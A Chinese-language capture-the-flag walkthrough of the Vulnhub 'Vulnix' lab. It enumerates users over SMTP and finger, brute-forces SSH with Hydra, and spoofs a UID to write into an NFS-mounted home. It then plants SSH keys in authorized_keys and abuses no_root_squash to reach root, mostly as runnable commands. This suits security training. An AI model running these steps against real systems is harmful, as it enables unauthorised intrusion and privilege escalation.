一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.12 -A
二、端口信息搜集
SMTP信息搜集(25/tcp)
smpt-user-enum 是一款用于 枚举SMTP服务有效用户 的工具,通过发送 SMTP 协议的 VRFY 或 EXPN 命令,验证指定用户名是否存在。
用kali自带的字典在/usr/share/wordlists/metasploit/unix_users.txt,kali上有很多字典
smtp-user-enum -M VRFY -U unix_users.txt -t 192.168.10.12
-M VRFY
:使用 SMTP 的 VRFY
命令验证用户是否存在(部分服务器可能禁用此命令,可替换为 EXPN
或 RCPT
)。
-U
:用于指定包含待检测用户名的文件。
-t
:用于指定目标 SMTP 服务器的 IP 地址(默认端口一般为 25)。
vim user.txt
awk -F'[: ]+''{print $2}' user.txt
再把筛选好的复制回user.txt
Finger 服务 (79/tcp)
Finger通常被用来查询用户是否登录以及用户登录的用户名、登录时间、办公地址、电话、邮件地址等
查看用户的登录状态
Finger-User-Enumeration工具利用
git clone https://github.com/hypn/Finger-User-Enumeration.git
vim finger_enum_user.sh
改为自己本机的ip
# 利用方法 ./finger_enum_user.sh 端口 文件
./finger_enum_user.sh 79 user.txt
然后就可以将前面获得的用户的信息列举出来
列举了这么多用户,发现只有root和user用户是/bin/bash,大部分是/bin/sh,其他的都不能进行反弹shell
Shell路径 | 用途 | 是否允许交互登录 |
/bin/sh |
|
|
/bin/bash |
|
|
/bin/false |
|
|
/usr/sbin/nologin |
|
|
三、Hydra爆破
对user用户进行爆破
hydra -L user -P fasttrack.txt ssh://192.168.10.12
user
letmein
ls -alh /etc/*cron*
-
ls -alh
:以 长格式(-l) 显示文件详细信息,包括权限、所有者、大小、时间等;-h
让文件大小以人类可读的格式(如 KB、MB)展示。 -
/etc/
_cron
_:匹配/etc/
目录下所有包含cron
关键字的文件和目录(通配符*
表示任意字符)
logrotate软件是一个日志管理工具,用于 切割日志,删除旧的日志文件,并创建新的日志文件,起到“转储作用”,可以为系统节省磁盘空间。
查看了定时任务,没有发现什么可以利用的点
find / -perm -4000 -print 2>/dev/null
这里也没有什么可以利用的地方
尝试内核提权,发现user用户没gcc
NFS共享利用
# 查看NFS导出列表
showmount -e 192.168.10.12
# 挂载共享目录(假设导出/home)
mkdir -p /tmp/nfs #创建一个新的目录,为后续挂载 NFS 共享目录做准备
mount -t nfs 192.168.10.12:/home/vulnix /tmp/nfs
#mount -t nfs <远程路径> <本地挂载点>
-
mount
:这是一个 Linux 命令,其功能是将文件系统挂载到指定的挂载点上。 -
-t nfs
:-t
是mount
命令的一个选项,用于指定要挂载的文件系统类型。这里指定的是nfs
,也就是网络文件系统。 -
192.168.10.12:/home
:这是远程 NFS 服务器上共享目录的路径。其中,192.168.10.12
是 NFS 服务器的 IP 地址,/home
是该服务器上要共享的目录。
挂载成功但是没有权限
返回user用户看看vulnix权限
再去看看etc/passwd,为2008,是一个普通用户
在进行绕过之前要知道NFS与SSH的一些
NFS权限绕过
NFS(网络文件系统)在验证文件访问权限时,依赖数字UID/GID而非用户名。 当你在本地挂载远程NFS共享目录时,系统会将本地用户的UID与远程文件的属主UID进行匹配:
-
若本地存在相同UID的用户 → 可读写对应文件(即使用户名不同)
-
若本地无匹配UID的用户 → 按
nobody
处理,导致权限不足
创建本地同名用户(UID=2008)
# 创建用户并指定UID
useradd -u 2008 vulnix
# 设置密码
passwd vulnix
切换为vulnix用户即可访问
SSH密钥认证
SSH允许用户通过 密钥对 登录,无需密码:
-
公钥(id_rsa.pub):放置在目标用户的
~/.ssh/authorized_keys
文件中。 -
私钥(id_rsa):本地保存,用于身份验证。
攻击逻辑:
-
通过NFS挂载获取对
vulnix
家目录的写权限。 -
在
vulnix
的~/.ssh/
目录下写入你的公钥。 -
使用私钥通过SSH登录目标主机,系统验证公钥匹配后授予访问权限。
四、反弹shell
方法一(总体思路写在六、总结)
先生成本地私钥公钥
首先,在kali上以root用户生成自己的公钥私钥,在.ssh目录下
cd /root/.ssh
ssh-keygen -t rsa #生成私钥公钥
#后面直接一直按enter就ok
然后查看公钥
cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyHHXqk5JK3C4ICed+jKzLSKHzPRwTRqMefKb85xAKiM/1llbgOYMC3G/nJswkSSUztA6urep/rNYhuvT4Kkqr8kTuKsFCvPnwMRigncafBvcypyq3+nE5qrWkUwbpLD0dxE+GPVd+33/0y1YmnToJmvYWS+2h2zctI5vZkOWNsWI0zriOjigm0WUxO1cUxr8XOXeMlqoeS3jTMlUKpjt4vuVWhWGyILgoCp5xOf0fzZR6l4/LZfWoQ4iV/DttQdxGATXVUZRkYLblL1GdVK/D5VWf8x4y3OB79a7TxLW41RhQK5DtEXD8EmJuZfBZn9I9eOuchhVg2KtLrtHOOp8K0beMJrEEMabUjMhMeQ47YiR4WNkSr5fubgeJ2cNypOhmudjUXOlWMbCeqCQzAh6B0S26FwzldgloWUpGdy6b0CQZgC9N12XbI4YAiJM6wksgnqLHZRVL2ITZx9Wn2TJU29eA2vVBhn9/uy6YGcDiP5Gy1AkVnjgbt8U+bPSL358= root@kali
再将自己本地的公钥复制到vulnix
的~/.ssh/
目录的authorized_keys
文件中
su vulnix
cd /tmp/nfs #进入共享目录切换用户
mkdir .ssh
cd .ssh
echo'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyHHXqk5JK3C4ICed+jKzLSKHzPRwTRqMefKb85xAKiM/1llbgOYMC3G/nJswkSSUztA6urep/rNYhuvT4Kkqr8kTuKsFCvPnwMRigncafBvcypyq3+nE5qrWkUwbpLD0dxE+GPVd+33/0y1YmnToJmvYWS+2h2zctI5vZkOWNsWI0zriOjigm0WUxO1cUxr8XOXeMlqoeS3jTMlUKpjt4vuVWhWGyILgoCp5xOf0fzZR6l4/LZfWoQ4iV/DttQdxGATXVUZRkYLblL1GdVK/D5VWf8x4y3OB79a7TxLW41RhQK5DtEXD8EmJuZfBZn9I9eOuchhVg2KtLrtHOOp8K0beMJrEEMabUjMhMeQ47YiR4WNkSr5fubgeJ2cNypOhmudjUXOlWMbCeqCQzAh6B0S26FwzldgloWUpGdy6b0CQZgC9N12XbI4YAiJM6wksgnqLHZRVL2ITZx9Wn2TJU29eA2vVBhn9/uy6YGcDiP5Gy1AkVnjgbt8U+bPSL358= root@kali' > authorized_keys
cat进去看下,成功写入
在vulnix用户下
chmod 700 .ssh
chmod 600 authorized_keys
.ssh目录必须为 700
SSH的检查机制: 如果 .ssh
目录权限不符合 700
,SSH 服务器可能拒绝密钥认证,强制要求密码登录。
公钥文件(authorized_keys
)必须为 600
-
600
= 所有者rw-
,组和其他用户---
-
700
= 所有者rwx
,组和其他用户--
在kali上(root用户)
chmod 600 ~/.ssh/id_rsa
私钥文件(id_rsa)必须为 600
SSH的强制要求: 如果私钥权限不符合 600
,SSH 客户端会直接拒绝使用该密钥,并报错
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /root/.ssh/id_rsa [email protected]
-o 'PubkeyAcceptedKeyTypes +ssh-rsa'
-
作用:强制客户端在密钥认证过程中接受 ssh-rsa
类型的公钥。
方法二
首先,在vulnix用户下
su vulnix
cd /tmp/nfs
mkdir .ssh
cd .ssh
ssh-keygen -t rsa
./id_rsa,密码为空
mv id_rsa.pub authorized_keys
mv id_rsa /tmp/id_rsa
chmod 600 /tmp/id_rsa
将id_rsa.pub公钥重命名为authorized_keys
将id_rsa私钥复制到本地,并修改权限为只能读写
使用私钥登录即可
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /tmp/id_rsa [email protected]
五、提权
root_squash:
将客户端的 root 用户(UID 0)映射为服务端的 匿名用户(通常是 nobody
或 nfsnobody
)。
即使客人自称是“超级VIP”(客户端 root 用户),酒店也会将他视为普通客人(服务端的匿名用户,如 nobody
)
-
客户端以 root 身份访问共享目录时,服务端会将其权限限制为普通用户,无法执行特权操作
no_root_squash:
允许客户端的 root 用户(UID 0)保留 root 权限,即客户端 root 用户在服务端也被视为 root。
如果客人自称是“超级VIP”,酒店会直接给他一把万能钥匙(服务端 root 权限)
-
客户端 root 用户可以直接修改服务端文件,甚至删除系统关键文件。
重启要等一下,查看挂载目录,挂载成功
showmount -e 192.168.10.12
mkdir /tmp/nfs2/
mount -t nfs 192.168.10.12:/root /tmp/nfs2/
cd /tmp/nfs2
mkdir .ssh
cd .ssh
ssh-keygen -t rsa
mv id_rsa2.pub authorized_keys
mv id_rsa2 /tmp/id_rsa2
chmod 600 /tmp/id_rsa2
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /tmp/id_rsa2 [email protected]
提权成功
六、总结
反弹shell的方法一的思路就是先在我本地的root用户下,在/.ssh/目录下生成一对自己的公钥私钥,然后查看我自己的公钥,将公钥复制下来,切换为vulnix用户,在vulnix用户下创建.ssh目录,再将我root用户的公钥写入authorized_keys文件里(直接echo会自己创建),确保权限正确,因为ssh有检查机制,这时就可以ssh指定算法,指定为root的私钥去登录成功
这个公钥和私钥就像一个信箱和钥匙,我生成了一个信箱和钥匙,只有我的钥匙能开我的信箱,我只要让别人的信箱和我的一模一样,那我就可以开别人的信箱,而如何让别人的信箱和我的信箱一样,这里的共享挂载目录就帮忙了,通过这个共享的挂载目录就可以把我的信箱给vulnix,但是你要确保这个信箱现在是vulnix用户的,就像是送给他了,因为规定公钥(id_rsa.pub)是放在目标用户(vulnix)的~/.ssh/authorized_keys文件中,我复制写入authorized_keys文件里的操作,就相当于我把我的信箱送给了vulnix用户,我和vulnix用户是完全一致的信箱,钥匙在我手里,我再通过我的钥匙去开我自己的信箱,就打开了
反弹shell的方法二的思路其实和思路一差不多,就是先在vulnix用户的/.ssh/目录下生成一对自己的公钥私钥,这是专属vulnix用户的信箱和钥匙,把公钥(id_rsa.pub)改名为(authorized_keys),因为规定公钥(id_rsa.pub)是放在目标用户的~/.ssh/authorized_keys文件中,然后将vulnix的私钥给我的本地kali的用户,但是你要确保这个钥匙的所有者还是vulnix而不是你的,就像借给你用的,然后我就可以用vulnix给我的钥匙去开他的信箱,就打开了
总体就是
方法一,我有一个信箱和钥匙,我将我的信箱送给vulnix,这个信箱就归vulnix,但是信箱和钥匙还是匹配的,我拿这个钥匙去开他的信箱
方法二,vulnix用户把他的钥匙借给我了,钥匙还是vulnix的,我拿他的钥匙去开他的信箱
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Vulnhub靶机 HackLAB: Vulnix
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论